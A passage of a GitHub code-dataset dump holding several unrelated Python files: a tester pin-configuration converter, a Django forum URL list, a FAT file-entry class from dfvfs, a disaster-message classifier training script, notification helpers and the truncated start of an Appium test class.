\"\"\"\n        pins_to_ports = {} \n        for port in ports: \n            for pin in self.ports[port].pins: \n                if pin in pins_to_ports: \n                    if no_duplicates: \n                        raise RuntimeError(\"Pin is double referenced: %s, %s\"%(pins_to_ports[pin],port))\n                    pins_to_ports[pin].append(port)\n                    continue \n                pins_to_ports[pin] = [port]\n        return pins_to_ports\n\n    def get_pin(self,name): \n        \"\"\"This function will search through the Pins and Groups to return a \n        a list of all the pins associated with the name. A single pin will yield \n        a list with one string, but a group can produce the same; if the group\n        contains only one pin. The difference for the group though is that the \n        name of the group will be different than the single name in the list. \n\n        Returns\n          pinlist : list of string, the pin names \n \n          pintype : string indicating if name was a 'pin' or 'group'.\n\n          If name is not found, and empty list and string will be returned.\n        \"\"\"\n        # Search DFPNs first \n        for pin in self.pins: \n            if name == pin.name: return [pin.name], \"pin\"\n        # Search the DGGP and DFGE second \n        for grp in self.groups: \n            if grp.name == name:  \n                return grp.pins, \"group\" \n        return [],\"\"\n      \n    # ------------------------------------------------------------------------: \n    def summary(self,mask=False): \n        \"\"\" \n        Report high-level information related to the config object.\n        Parameter: \n          mask : bool, default = False\n            If true, the source file path will be masked from reporting.\n        \"\"\"\n        func = \"st7p.config.summary\"\n        print(\"\\n\" + \"-\"*(func.__len__()+2) + \":\")\n        print(\"\"+func + \"  :\");print(\"-\"*(func.__len__()+2) + \":\")\n        if mask: print(\"[%s]: Source-path: %s\"%(func, \"<masked>\"))\n        else:    print(\"[%s]: Source-path: %s\"%(func, self._abs_path))\n        print(\"[%s]: Number of sites: %s\" %(func, self.sites))\n        print(\"[%s]: Number of pins: %s\"  %(func,self.pins.length()))\n        print(\"[%s]: Number of ports: %s\" %(func,self.ports.length()))\n        print(\"[%s]: Number of groups: %s\"%(func,self.groups.length()))\n        ganged = 0 ; \n        for supply in self.supplies: \n            if supply.is_ganged(): ganged +=1 \n        print(\"[%s]: Number of power supplies: %s\"%(\n              func, self.supplies.length()))\n        print(\"[%s]: Number of supplies using ganging: %s\"%(\n              func, ganged))\n        print(\"[%s]: Number of utility purposes: %d\"%(\n              func, self.utility_purposes.length()))\n        return \n    # ------------------------------------------------------------------------: \n\n\ndef _dump_digital_pogos(cfo):\n    pogos = {} \n    sites = cfo.sites\n    for pin in cfo.pins:\n        for site in range(1,cfo.sites + 1): \n            _pogos = pin.channels[site]\n            for pogo in _pogos:  \n                pogos[int(pogo)] = {\"name\":pin.name}\n    pogos.keys().sort()\n    for pogo in pogos: \n        print(pogo)\n    return \n            \n    \n            \n\ndef write_pogo_report(cfo,digHW= \"PS1600\", ): \n    func = \"func\"\n    for pin in cfo.pins: \n        print(\"%s -> %s, %s\"%(pin.channel,pin.name,digHW))\n    \n\n# ----------------------------------------------------------------------------:\n# Using the utility instrument: TDC: 342460\n# -----------------------------------------\n# First of all, you need to define the utitliy lines in the DUT board file\n# as DUT signals  (not as utilityLines signals). \n#\ndef write_smt8(cfo,chn_attrs=None,name=\"\",directory=\"\"):\n    \"\"\" \n    This funciton creates a SMT8 dut board description file\n    from the `st7p.config.Config` object.\n    \"\"\"\n    func = \"st7p.config.write_smt8\"\n    if not isinstance(cfo,Config): \n        raise ValueError(\"'cfo' must be of type st7p.config.Config\")\n    #if name == \"\": name = \"smt8_config.dbd\"; name_wo_suffix = \"smt8_config\"\n    #else: \n    #    if not name.endswith(\".dbd\"): name += \".dbd\"\n    #    name_wo_suffix = name.replace(\".dbd\",\"\")\n\n\n    if directory == \"\": \n        directory = \"configuration\" # os.getcwd()\n        os.mkdir(directory)\n        \n    else: pass # TODO: Should flush this out \n\n\n    if chn_attrs: \n         if not name: \n             basename = \"smt8_config\"\n             wo_fxd = basename + \"_without_fxd\"\n             wi_fxd = basename + \"_with_fxd\"\n             dbd_wo_suffix = wo_fxd\n             dbd = os.path.join(directory,wo_fxd + \".dbd\")  \n             dbd_wi_fxd = os.path.join(directory,wi_fxd + \".dbd\")\n\n    #print(\"Creating dbd file at: %s\"%(dbd)) \n    sites = int(cfo.sites) \n\n\n    channelToName = {}\n    pinToSiteChannels = OrderedDict() \n\n    # cache al DFPN lines \n    digpins = []\n    for pin in cfo.pins: \n        digpins.append([\"signal %s {\"%(pin.name)])\n  \n        pinToSiteChannels[pin.name] = OrderedDict()\n\n        for site in range(1,sites+1): \n            try: \n                channels = pin.channels[site]\n            except:\n                raise RuntimeError(\"No site %s for pin %s: %s -> %s\"%(site,pin.name,pin.name,pin.channels))\n      \n            if len(pin.channels[site]) > 1: raise RuntimeError(\"Not supporting ganged digtial channels yet: %s -> %s\"%(pin.name, pin.channels))\n            channel = pin.channels[site][0]\n            digpins[-1].append(\"site %s { pogo = %s; }\"%(site,channel))\n\n            if channel in channelToName: \n                print(\"WARNING: Channel %s is being resued on site %s for pin %s\"%(channel,site,pin.name))\n            channelToName[channel] = pin.name \n            \n            pinToSiteChannels[pin.name][site] = channel\n\n        digpins.append([\"}\"]) \n    # cache all the supplies: \n    dpspins = []\n    for supply in cfo.supplies: \n        dpspins.append([\"signal %s {\"%(supply.name)])\n        for site in range(1,sites+1): \n            try: \n                channels = supply.channels[site]\n            except:\n                raise RuntimeError(\"No site %s for supply %s: %s -> %s\"%(site,supply.name,supply.name,supply.channels))\n            if len(channels) > 1: channels = \"|\".join(supply.channels[site])\n            else: channels = supply.channels[site][0]\n            dpspins[-1].append(\"site %s { pogo = %s; }\"%(site,channels))\n        dpspins.append([\"}\"]) \n    # TODO: how to store: PSLC, DFDM, PSRG, PSVD, PSSF\n    \n\n    # cache all your utility lines\n    utillines = []; util_channels = set()\n    for utp in cfo.utility_purposes:\n        channels = list(utp.channel_settings[1].keys())# All channels are defined in DFUP. Nothing addded in UPAS\n        util_channels.update(channels)\n    for channel in util_channels: \n        utillines.append([\"signal UTI_%s {\"%(channel)])\n        for site in range(1,sites+1): \n            utillines[-1].append(\"site %s { @Shared pogo = %s; }\"%(site,channel))\n        utillines.append([\"}\"]) \n\n    # cache all port defintions: \n    portlines = []\n    for port in cfo.ports: \n        if port.name == \"@\": continue \n        portlines.append(\"group %s = %s;\"%(port.name, \"+\".join(port.pins)))\n\n    # cache all group defintions\n    grouplines = [] \n    for grp in cfo.groups: \n        grouplines.append(\"group %s = %s;\"%(grp.name,\"+\".join(grp.pins)))\n    \n    \n\n    ## Write the dbdb file \n    pad = \"  \"\n    with open(dbd,\"w\") as writer: \n        writer.write(\"dutboard %s {\\n\"%(dbd_wo_suffix))\n        writer.write(\"%ssites = %s;\\n\"%(pad,sites))\n        # Write digital pins \n        writer.write(\"\\n%s// Digital Pins -------------------------------------------------:\\n\"%(pad))\n        for pin in digpins: \n            for i,line in enumerate(pin,start=0):\n                if i == 0 or i == len(pin):  \n                    writer.write(\"%s%s\\n\"%(pad,line))\n                else: \n                    writer.write(\"%s%s\\n\"%(pad*2,line))\n\n        writer.write(\"\\n%s// Supply Pins -------------------------------------------------:\\n\"%(pad))\n        # Write digital pins \n        for supplyblock in dpspins: \n            for i,line in enumerate(supplyblock,start=0):\n                if i == 0 or i == len(supplyblock):  \n                    writer.write(\"%s%s\\n\"%(pad,line))\n                else: \n                    writer.write(\"%s%s\\n\"%(pad*2,line))\n\n        writer.write(\"\\n%s// Utility Lines: -------------------------------------------------:\\n\"%(pad))\n        # Write util lines \n        for utl in utillines: \n            for i,line in enumerate(utl,start=0):\n                if i == 0 or i == len(utl):  \n                    writer.write(\"%s%s\\n\"%(pad,line))\n                else: \n                    writer.write(\"%s%s\\n\"%(pad*2,line))\n        # Close the dbd\n        writer.write(\"}\\n\") # Close dbd\n\n\n    # Write DBD with fixture delay details -----------------------------------:\n    if chn_attrs:\n        with open(dbd_wi_fxd,\"w\") as writer: \n            writer.write(\"import configuration.%s;\\n\"%(wo_fxd))\n            writer.write(\"dutboard %s {\\n\"%(wi_fxd))\n            writer.write(\"%sproperty fixtureDelay {\\n\"%(pad))\n            \n            for pin, site_chn_dict in pinToSiteChannels.items(): \n                writer.write(\"%s%s {\\n\"%(2*pad,pin))\n                for site,channel in site_chn_dict.items(): \n                    writer.write(\"%ssite %d {\\n\"%(3*pad,site))\n                    writer.write(\"%sfixtureDelay = %s ns;\\n\"%(4*pad,chn_attrs[channel]))\n                    writer.write(\"%s}\\n\"%(3*pad))\n                writer.write(\"%s}\\n\"%(2*pad))\n            writer.write(\"%s}\\n\"%(pad))           \n            writer.write(\"}\\n\")\n\n \n\n     \n        \n\n    ## TODO: write ports_and_groups.spec\n    with open(os.path.join(directory,\"ports_and_groups.spec\"),\"w\") as writer: \n        writer.write(\"spec ports_and_groups {\\n\")\n        for l in portlines: \n            writer.write(\"%s%s\\n\"%(pad,l))\n        for l in grouplines: \n            writer.write(\"%s%s\\n\"%(pad,l))\n        writer.write(\"}\\n\") # Close dbd\n\n    ## TODO: write the utility-purpose specs\n    if cfo.utility_purposes.__len__() != 0: \n        os.mkdir(os.path.join(directory,\"utility_purposes\"))\n    for up in cfo.utility_purposes: \n        with open(os.path.join(directory,\"utility_purposes\",\"%s.spec\"%(up.name)),\"w\") as writer: \n            writer.write(\"spec %s {\\n\"%(up.name))\n            for site,setting in up.channel_settings.items():\n                for channel,value in setting.items(): \n                    if (value == \"X\" or value == \"x\"): continue\n                    writer.write(\"  setup utility UTI_%s { value = %s; }\\n\"%(channel,value))\n            writer.write(\"}\\n\")\n\n    \n\n\n\n    print(\"DEBUG: (%s): Size of digital channel-to-signal: %s\"%(func,channelToName.__len__()))\n    # Read it out for debug:\n    if False:  \n        with open(dbd,\"r\") as reader: \n            for x in reader: \n                print(x.rstrip())\n\n\n\n\ndef read_channel_attribute_file(sfp,debug=False): \n    \"\"\"\n    Reads a channel-attribute file and returns a map \n    of the channel number and fixture delay value.\n    \"\"\"\n    func = \"st7p.config.read_channel_attribute_file\"\n    RE_FXDL = re.compile(\"^FXDL\\s+(?P<channel>\\d+)\\s*.\\s*(?P<delay>[\\d\\.]+)\")\n    fxMap = OrderedDict()\n    with open(sfp,\"r\") as fh: \n        for ln,line in enumerate(fh,start=1): \n            #print(\"DEBUG: (%s): [%d] %s\"%(func,ln,line))\n            match = RE_FXDL.search(line)\n            if match: \n                channel, delay = match.groups()\n                if channel in fxMap: \n                    raise RuntimeError(\"Channel %s already stored.\"%(channel))\n                fxMap[channel] = delay\n                #print(\"DEBUG: (%s): FXDL %s, %s\"%(func,channel,delay))\n    if debug: \n        for channel,delay in fxMap.items(): \n            print(\"DEBUG: (%s): FXDL %s,%s\"%(func,channel,delay))\n    return fxMap\n\n\n# ----------------------------------------------------------------------------:\ndef __handle_cmdline_args(): \n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-debug\", \n                        help=\"Increase console logging\", \n                        action=\"store_true\")\n    parser.add_argument(\"pinconfig\", help=\"Pin-config file path\")\n    args = parser.parse_args()\n    if not os.path.isfile(args.pinconfig): \n        raise ValueError(\"Invalid file\")\n    return args\n# ----------------------------------------------------------------------------:\nif __name__ == \"__main__\": \n    args = __handle_cmdline_args()\n    if args.debug: \n        print(\"DEBUG: Main st7p.pins module\")\n    obj = read(sfp = args.pinconfig, debug = args.debug)\n    print(\"\\nNOTE: If in interactive mode, use variable name 'obj' to\"\\\n          \" the parsed object.\")\n\n\n\n\n","repo_name":"sbaby171/st7p","sub_path":"st7p/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":47281,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"36440967321","text":"from . import views\r\nfrom django.urls import path\r\n\r\nurlpatterns = [\r\n    path('', views.index, name='index'),\r\n    path('about/', views.about, name='about'),\r\n    path('add_post/', views.add_post, name='add_post'),\r\n    path('post/<str:pk>', views.post_detail, name='post_detail'),\r\n    path('about/', views.about, name='about'),\r\n    path('post/<str:pk>/add_comment/', views.add_comment, name=\"add_comment\"),\r\n]\r\n","repo_name":"miszalskan/Django_forum_2022","sub_path":"forum/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30691614373","text":"# -*- coding: utf-8 -*-\n\"\"\"The FAT file entry implementation.\"\"\"\n\nimport pyfsfat\n\nfrom dfdatetime import definitions as dfdatetime_definitions\nfrom dfdatetime import fat_date_time as dfdatetime_fat_date_time\n\nfrom dfvfs.lib import definitions\nfrom dfvfs.lib import errors\nfrom dfvfs.path import fat_path_spec\nfrom dfvfs.resolver import resolver\nfrom dfvfs.vfs import attribute\nfrom dfvfs.vfs import extent\nfrom dfvfs.vfs import fat_directory\nfrom dfvfs.vfs import file_entry\n\n\nclass FATFileEntry(file_entry.FileEntry):\n  \"\"\"File system file entry that uses pyfsfat.\"\"\"\n\n  TYPE_INDICATOR = definitions.TYPE_INDICATOR_FAT\n\n  _FILE_SYSTEM_FORMAT_EXFAT = pyfsfat.file_system_formats.EXFAT\n\n  def __init__(\n      self, resolver_context, file_system, path_spec, fsfat_file_entry=None,\n      is_root=False, is_virtual=False):\n    \"\"\"Initializes a file entry.\n\n    Args:\n      resolver_context (Context): resolver context.\n      file_system (FileSystem): file system.\n      path_spec (PathSpec): path specification.\n      fsfat_file_entry (Optional[pyfsfat.file_entry]): FAT file entry.\n      is_root (Optional[bool]): True if the file entry is the root file entry\n          of the corresponding file system.\n      is_virtual (Optional[bool]): True if the file entry is a virtual file\n          entry emulated by the corresponding file system.\n\n    Raises:\n      BackEndError: if the pyfsfat file entry is missing.\n    \"\"\"\n    if not fsfat_file_entry:\n      fsfat_file_entry = file_system.GetFATFileEntryByPathSpec(path_spec)\n    if not fsfat_file_entry:\n      raise errors.BackEndError('Missing pyfsfat file entry.')\n\n    fsfat_volume = file_system.GetFATVolume()\n\n    if is_root:\n      file_entry_name = ''\n    else:\n      file_entry_name = fsfat_file_entry.name\n\n    super(FATFileEntry, self).__init__(\n        resolver_context, file_system, path_spec, is_root=is_root,\n        is_virtual=is_virtual)\n    self._file_system_format = fsfat_volume.get_file_system_format()\n    self._fsfat_file_entry = fsfat_file_entry\n    self._name = file_entry_name\n\n    file_attribute_flags = fsfat_file_entry.file_attribute_flags\n    if (file_attribute_flags is None or\n        file_attribute_flags & pyfsfat.file_attribute_flags.DIRECTORY):\n      self.entry_type = definitions.FILE_ENTRY_TYPE_DIRECTORY\n    elif file_attribute_flags & pyfsfat.file_attribute_flags.DEVICE:\n      self.entry_type = definitions.FILE_ENTRY_TYPE_DEVICE\n    else:\n      self.entry_type = definitions.FILE_ENTRY_TYPE_FILE\n\n  def _GetDirectory(self):\n    \"\"\"Retrieves a directory.\n\n    Returns:\n      FATDirectory: directory or None if not available.\n    \"\"\"\n    if self.entry_type != definitions.FILE_ENTRY_TYPE_DIRECTORY:\n      return None\n\n    return fat_directory.FATDirectory(\n        self._file_system, self.path_spec, self._fsfat_file_entry)\n\n  def _GetStatAttribute(self):\n    \"\"\"Retrieves a stat attribute.\n\n    Returns:\n      StatAttribute: a stat attribute or None if not available.\n    \"\"\"\n    stat_attribute = attribute.StatAttribute()\n    stat_attribute.inode_number = self._fsfat_file_entry.identifier\n    stat_attribute.size = self._fsfat_file_entry.size\n    stat_attribute.type = self.entry_type\n\n    return stat_attribute\n\n  def _GetSubFileEntries(self):\n    \"\"\"Retrieves a sub file entries generator.\n\n    Yields:\n      FATFileEntry: a sub file entry.\n    \"\"\"\n    if self._directory is None:\n      self._directory = self._GetDirectory()\n\n    if self._directory:\n      for path_spec in self._directory.entries:\n        yield FATFileEntry(self._resolver_context, self._file_system, path_spec)\n\n  @property\n  def access_time(self):\n    \"\"\"dfdatetime.DateTimeValues: access time or None if not available.\"\"\"\n    timestamp = self._fsfat_file_entry.get_access_time_as_integer()\n    # Access time can be None if not present and 0 if not set.\n    if not timestamp:\n      return None\n\n    if self._file_system_format == self._FILE_SYSTEM_FORMAT_EXFAT:\n      precision = dfdatetime_definitions.PRECISION_10_MILLISECONDS\n    else:\n      precision = dfdatetime_definitions.PRECISION_1_DAY\n\n    return dfdatetime_fat_date_time.FATTimestamp(\n        precision=precision, timestamp=timestamp)\n\n  @property\n  def creation_time(self):\n    \"\"\"dfdatetime.DateTimeValues: creation time or None if not available.\"\"\"\n    timestamp = self._fsfat_file_entry.get_creation_time_as_integer()\n    # Creation time can be None if not present and 0 if not set.\n    if not timestamp:\n      return None\n\n    return dfdatetime_fat_date_time.FATTimestamp(\n        precision=dfdatetime_definitions.PRECISION_10_MILLISECONDS,\n        timestamp=timestamp)\n\n  @property\n  def name(self):\n    \"\"\"str: name of the file entry, which does not include the full path.\"\"\"\n    return self._name\n\n  @property\n  def modification_time(self):\n    \"\"\"dfdatetime.DateTimeValues: modification time or None if not available.\"\"\"\n    timestamp = self._fsfat_file_entry.get_modification_time_as_integer()\n    # Modification time can be None if not present and 0 if not set.\n    if not timestamp:\n      return None\n\n    if self._file_system_format == self._FILE_SYSTEM_FORMAT_EXFAT:\n      precision = dfdatetime_definitions.PRECISION_10_MILLISECONDS\n    else:\n      precision = dfdatetime_definitions.PRECISION_2_SECONDS\n\n    return dfdatetime_fat_date_time.FATTimestamp(\n        precision=precision, timestamp=timestamp)\n\n  @property\n  def size(self):\n    \"\"\"int: size of the file entry in bytes or None if not available.\"\"\"\n    return self._fsfat_file_entry.size\n\n  def GetExtents(self):\n    \"\"\"Retrieves the extents.\n\n    Returns:\n      list[Extent]: the extents.\n    \"\"\"\n    if self.entry_type != definitions.FILE_ENTRY_TYPE_FILE:\n      return []\n\n    extents = []\n    for extent_index in range(self._fsfat_file_entry.number_of_extents):\n      extent_offset, extent_size, extent_flags = (\n          self._fsfat_file_entry.get_extent(extent_index))\n\n      if extent_flags & 0x1:\n        extent_type = definitions.EXTENT_TYPE_SPARSE\n      else:\n        extent_type = definitions.EXTENT_TYPE_DATA\n\n      data_stream_extent = extent.Extent(\n          extent_type=extent_type, offset=extent_offset, size=extent_size)\n      extents.append(data_stream_extent)\n\n    return extents\n\n  def GetFileObject(self, data_stream_name=''):\n    \"\"\"Retrieves a file-like object of a specific data stream.\n\n    Args:\n      data_stream_name (Optional[str]): name of the data stream, where an empty\n          string represents the default data stream.\n\n    Returns:\n      FileIO: a file-like object or None if not available.\n    \"\"\"\n    if self.entry_type != definitions.FILE_ENTRY_TYPE_FILE or data_stream_name:\n      return None\n\n    return resolver.Resolver.OpenFileObject(\n        self.path_spec, resolver_context=self._resolver_context)\n\n  def GetFATFileEntry(self):\n    \"\"\"Retrieves the FAT file entry.\n\n    Returns:\n      pyfsfat.file_entry: FAT file entry.\n    \"\"\"\n    return self._fsfat_file_entry\n\n  def GetParentFileEntry(self):\n    \"\"\"Retrieves the parent file entry.\n\n    Returns:\n      FATFileEntry: parent file entry or None if not available.\n    \"\"\"\n    parent_location = None\n\n    location = getattr(self.path_spec, 'location', None)\n    if location is not None:\n      parent_location = self._file_system.DirnamePath(location)\n      if parent_location == '':\n        parent_location = self._file_system.PATH_SEPARATOR\n\n    parent_path_spec = getattr(self.path_spec, 'parent', None)\n    path_spec = fat_path_spec.FATPathSpec(\n        location=parent_location, parent=parent_path_spec)\n\n    is_root = bool(parent_location == self._file_system.LOCATION_ROOT)\n\n    return FATFileEntry(\n        self._resolver_context, self._file_system, path_spec, is_root=is_root)\n","repo_name":"log2timeline/dfvfs","sub_path":"dfvfs/vfs/fat_file_entry.py","file_name":"fat_file_entry.py","file_ext":"py","file_size_in_byte":7675,"program_lang":"python","lang":"en","doc_type":"code","stars":190,"dataset":"github-code","pt":"16"}
+{"seq_id":"24271708795","text":"''' Train a classifier '''\nimport sys\nimport re\nimport sys\nimport pickle\nimport pandas as pd\nimport numpy as np\nfrom sqlalchemy import create_engine\n\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.pipeline import Pipeline\n\nfrom sklearn.multioutput import MultiOutputClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.ensemble import RandomForestClassifier\n\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import classification_report\n\nfrom joblib import dump, load\n\nfrom nltk.tokenize import word_tokenize\nfrom nltk.stem.wordnet import WordNetLemmatizer\n\nfrom sklearn.preprocessing import MultiLabelBinarizer\nfrom sklearn.metrics import f1_score\n\n\ndef load_data(database_filepath):\n    '''\n    INPUT:\n    database_filepath - sqlite database name and path\n\n    OUTPUT:\n    X - numpy array of train data\n    Y - numpy array of label data\n    category_names - list of categories\n\n    Description:\n    load data from sqlite db and return data for train\n    '''\n    # read in file\n    # load data from database\n    # 'sqlite:///./ETL_project/data/m_processed.db'\n    stm = \"sqlite:///\" + database_filepath\n    engine = create_engine(stm)\n    \n    df_ = pd.read_sql_table('messages', engine)\n    \n    X = df_['message'].values\n    Y = df_.iloc[:, -36:].values\n    category_names = list(df_.columns[-36:].values)\n    \n    return X, Y, category_names\n\n\ndef tokenize(text): \n    '''\n    INPUT:\n    text - row text \n    \n    OUTPUT:\n    clean_tokens - list of normalized and lemmatized tokens\n\n    Description: \n    text normalizaton, lemmatization and toknization\n    '''\n    # Remove punctuation characters\n    text = re.sub(r\"[^a-zA-Z0-9]\", \" \", text) \n \n    tokens = word_tokenize(text)\n    lemmatizer = WordNetLemmatizer()\n\n    clean_tokens = []\n    for tok in tokens:\n        clean_tok = lemmatizer.lemmatize(tok).strip().lower()\n        clean_tokens.append(clean_tok)\n\n    return clean_tokens\n\n\ndef build_model():\n    '''\n    OUTPUT:\n    model - gridsearch object with pipeline\n\n    Description:\n    build pipeline with grid search enabled\n    '''\n    # text processing and model pipeline\n    pipeline = Pipeline([\n            ('vect', CountVectorizer(tokenizer=tokenize)),\n            ('tfidf', TfidfTransformer()),\n            ('clf', MultiOutputClassifier(RandomForestClassifier()))\n        ])\n\n    # define parameters for GridSearchCV\n    parameters = {\n        'vect__ngram_range': ((1, 1), (1, 2)),\n        'vect__max_df': (0.5, 0.75, 1.0),\n        'vect__max_features': (None, 5000, 10000),\n        'tfidf__use_idf': (True, False),\n        'clf__estimator': [RandomForestClassifier()],\n        'clf__estimator__n_estimators': (20, 50, 100)\n        \n    }\n\n\n    # create gridsearch object and return as final model pipeline\n    model = GridSearchCV(pipeline, param_grid=parameters)\n\n    return model\n\ndef display_results(y_test, y_pred):\n    '''\n    INPUT:\n    y_test - the original Y value of each category after train test split\n    y_pred - the model prediction of each categroy based on X test\n\n    OUTPUT:\n    labels - the different subcategories of each category \n    confusion_mat - the confusion matrix for subcategory of each category\n    accuracy - the accuracy value for each individual category\n    clf_report - the classification report for each individual category\n\n    Description:\n    display and return the test results\n    '''\n    labels = np.unique(y_pred)\n    confusion_mat = confusion_matrix(y_test, y_pred, labels=labels)\n    accuracy = (y_pred == y_test).mean()\n\n    print(\"Labels:\", labels)\n    print(\"Confusion Matrix:\\n\", confusion_mat)\n    print(\"Accuracy:\", accuracy)\n    clf_report = classification_report(y_test, y_pred)\n    print(clf_report)\n    \n    return labels, confusion_mat, accuracy, clf_report\n\n\ndef evaluate_model(model, X_test, y_test, category_names):\n    '''\n    INPUT:\n    model - the model after training\n    X_test - the X test data after train test split\n    y_test - the Y true after train test split\n    category_names - the list of all names of each category\n\n    Description:\n    Using the test data to evaluate the model and save the model evaluation results to a csv file\n    '''\n    \n    # use best model\n    y_pred = model.predict(X_test)\n    \n    accuracy = (y_pred == y_test).mean()\n    m = MultiLabelBinarizer().fit(y_test)\n\n    f1 = f1_score(m.transform(y_test),\n            m.transform(y_pred),\n            average='macro')\n\n    print(\"Accuracy -> {}, F1 score -> {}\".format(accuracy, f1))\n\n    # conf_mat_dict={}\n\n    # for label_col in range(len(category_names)):\n    #     y_true_label = y_test[:, label_col]\n    #     y_pred_label = y_pred[:, label_col]\n    #     conf_mat_dict[category_names[label_col]] = confusion_matrix(y_pred=y_pred_label, y_true=y_true_label)\n\n\n    # for label, matrix in conf_mat_dict.items():\n    #     print(\"Confusion matrix for label {}:\".format(label))\n    #     print(matrix)\n\n    # output model test results and save the results\n    results={}\n    cat = []\n    lbls = []\n    conf_mat = []\n    acc =[]\n    clf_r = []\n    for i, v in enumerate(category_names):\n        print(i, v)\n        cat.append(v)\n        #print(y_pred[i])\n        labels, confusion_mat, accuracy, clf_report = display_results(y_test[:, i], \n                                                                        y_pred[:, i])\n        lbls.append(labels)\n        conf_mat.append(confusion_mat)\n        acc.append(accuracy)\n        clf_r.append(clf_report)\n        #break\n        \n    results['cat'] = cat \n    results['labels'] = lbls\n    results['confusion_mat'] = conf_mat\n    results['accuracy'] = acc\n    results['clf_report'] = clf_r\n    \n    pd.DataFrame(results).to_csv(\"results.csv\", index=False)\n\n\ndef save_model(model, model_filepath):\n    '''\n    INPUT:\n    model - the final model\n    model_filepath - the model name and path to persist\n\n    Description:\n    save best model to a file\n    '''\n    # Export model as a pickle file\n    # pickle.dumps(model)\n    dump(model, model_filepath)\n\n\ndef main():\n    if len(sys.argv) == 3:\n        database_filepath, model_filepath = sys.argv[1:]\n        print('Loading data...\\n    DATABASE: {}'.format(database_filepath))\n        X, Y, category_names = load_data(database_filepath)\n        X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2)\n        \n        print('Building model...')\n        model = build_model()\n        \n        print('Training model...')\n        model.fit(X_train, Y_train)\n        \n        print('Evaluating model...')\n        evaluate_model(model, X_test, Y_test, category_names)\n\n        print('Saving model...\\n    MODEL: {}'.format(model_filepath))\n        save_model(model, model_filepath)\n\n        print('Trained model saved!')\n\n    else:\n        print('Please provide the filepath of the disaster messages database '\\\n              'as the first argument and the filepath of the pickle file to '\\\n              'save the model to as the second argument. \\n\\nExample: python '\\\n              'train_classifier.py ../data/DisasterResponse.db classifier.pkl')\n\n\nif __name__ == '__main__':\n    main()","repo_name":"jianxungao/ETL_Project","sub_path":"models/train_classifier.py","file_name":"train_classifier.py","file_ext":"py","file_size_in_byte":7299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17278816882","text":"__copyright__ = \"Copyright 2017 Birkbeck, University of London\"\n__author__ = \"Martin Paul Eve & Andy Byers\"\n__license__ = \"AGPL v3\"\n__maintainer__ = \"Birkbeck Centre for Technology and Publishing\"\n\n\nfrom utils import notify, render_template\n\n\ndef send_slack(request, slack_message, slack_channels):\n    notify_contents = {\n        'slack_message': slack_message,\n        'action': slack_channels,\n        'request': request,\n    }\n    notify.notification(**notify_contents)\n\n\ndef send_email_with_body_from_setting_template(\n        request, template, subject, to, context, log_dict=None,\n        custom_reply_to=None, plugin=None,\n    ):\n    notify_contents = {\n        'subject': subject,\n        'to': to,\n        'html': render_template.get_message_content(\n            request,\n            context,\n            template,\n            plugin=plugin,\n        ),\n        'action': ['email'],\n        'request': request,\n        'log_dict': log_dict,\n        'custom_reply_to': custom_reply_to,\n    }\n    notify.notification(**notify_contents)\n\n\ndef send_email_with_body_from_user(\n        request, subject, to, body,\n        log_dict=None, cc=None, bcc=None,\n):\n    notify_contents = {\n        'subject': subject,\n        'to': to,\n        'html': body,\n        'action': ['email'],\n        'request': request,\n        'log_dict': log_dict,\n        'cc': cc,\n        'bcc': bcc,\n    }\n    notify.notification(**notify_contents)\n","repo_name":"BirkbeckCTP/janeway","sub_path":"src/utils/notify_helpers.py","file_name":"notify_helpers.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":160,"dataset":"github-code","pt":"16"}
+{"seq_id":"35154972475","text":"# -*- coding: utf-8 -*-\n# @Time    : 2021/4/2 14:03\n# @Author  : CuiShuangqi\n# @Email   : 2807481686@qq.com\n# @File    : BasePhone.py\n\"\"\"\n    公共类：所有Phone类继承该类，此类包含性能测试所有方法\n\"\"\"\nimport os\nimport time\n\nfrom appium import webdriver\nfrom appium.webdriver.common.touch_action import TouchAction\nfrom selenium.webdriver.support.wait import WebDriverWait\n\n\nclass BasePhone(object):\n\n    def __init__(self, android_version, package_name, activity_name):\n        \"\"\"\n        :param android_version: 安卓版本\n        :param package_name:    启动包名\n        :param activity_name:   启动Activity\n        \"\"\"\n        desired_caps = {\n            'platformName': 'Android',  # 平台名称\n            'deviceName': 'test',  # 设备名称(任写)\n            'platformVersion': android_version,  # 安卓版本\n            'appPackage': package_name,  # 启动包名\n            'appActivity': activity_name,  # 启动 Acclivity\n            'noReset': True,  # 重置(不会保留之前的启动数据)\n            'newCommandTimeout': 6000 #超时时间\n        }\n        if android_version == \"11\":\n            # Android 11 添加此参数\n            desired_caps[\"automationName\"] = \"uiautomator2\"\n        # 开始初始化\n        print(\"Appium 正在初始化...\")\n\n        # 启动服务/通过4723端口来建立一个会话\n        self.driver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)\n        # 隐式等待10s\n        self.driver.implicitly_wait(15)\n        print(\"Appium 初始化完成...\")\n        self.driver.keyevent(3)\n\n    # 退出\n    def driver_quit(self):\n        self.driver.quit()\n        print(\"Appium 成功退出！...\")\n\n    # 查找元素\n    def find_element(self, way, value):\n        if way == \"text\":\n            return self.driver.find_element_by_android_uiautomator('new UiSelector().text(\"%s\")' % value)\n        elif way == \"id\":\n            return self.driver.find_element_by_android_uiautomator('new UiSelector().resourceId(\"%s\")' % value)\n        elif way == \"desc\":\n            return self.driver.find_element_by_android_uiautomator('new UiSelector().description(\"%s\")' % value)\n        else:\n            print(\"定位方式待更新\")\n\n    # 等待元素(默认等待180秒)\n    def wait_element(self, way, value, time=180):\n        if way == \"text\":\n            WebDriverWait(self.driver, time).until(\n                lambda x: x.find_element_by_android_uiautomator('new UiSelector().text(\"%s\")' % value))\n        elif way == \"id\":\n            WebDriverWait(self.driver, time).until(\n                lambda x: 